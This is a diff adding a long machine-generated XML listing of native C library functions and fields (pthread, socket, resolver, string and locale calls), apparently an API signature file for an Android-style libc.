+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_area_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getscope" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname2_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrusage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fseeko" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlockpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tgkill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_lnaof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigemptyset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_DEPRECATED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="signalfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_mailok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmempcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fnmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="insque" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigqueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getchar" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtod_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="printf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="stat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__putshort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_class" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigwaitinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigprocmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_nameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_setkind_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_ntop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tzset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ispunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrouplist" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="islower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcrtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tdelete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="socketpair" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freelocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_initparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putchar_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="quotactl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strftime_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdopendir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ether_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigdelset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_setschedparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcsetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcpcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isatty" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="realpath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mktime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fopen64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__vsprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_max" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscspn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpending" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_search" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_nsend" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strsep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_unpack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetpos64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_msg_getflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setdomainname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_secstodate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstombs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="snprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swapoff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="symlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fts_open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getcwd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="freeaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalpha_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_getres" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_nanosleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tee" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="futimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="errx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpwuid_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="accept4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="catclose" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isblank_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lcong48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gethostbyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_count_labels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="res_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memset_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_gettype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaction" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="error_print_progname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="feof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ungetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="chmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvmmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isinfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="init_module" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vswscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tcgetpgrp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fremovexattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_N" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_cdnname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtof_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setns" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpurge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoull_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sysinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="times" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lseek" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pwrite64_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getopt_long_only" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nl_langinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="tzname" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormalf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_serial" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputws" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_rr_get_interval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getscheduler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetspeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnormall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="poll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lsetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_pack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_sigmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tempnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_getparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="select" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_condattr_setclock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpeername" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="siginterrupt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_hnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getguardsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendfile64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="arc4random_buf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="telldir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_join" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlockattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="asctime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="c16rtomb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="syslog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iscntrl_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sym_ston" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwide" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optopt" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setegid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ntohl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="connect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="duplocale" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memalign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endutent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="listxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ntohs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswspace_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pipe2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_once" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mincore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwritev64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_timedrdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_timedlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
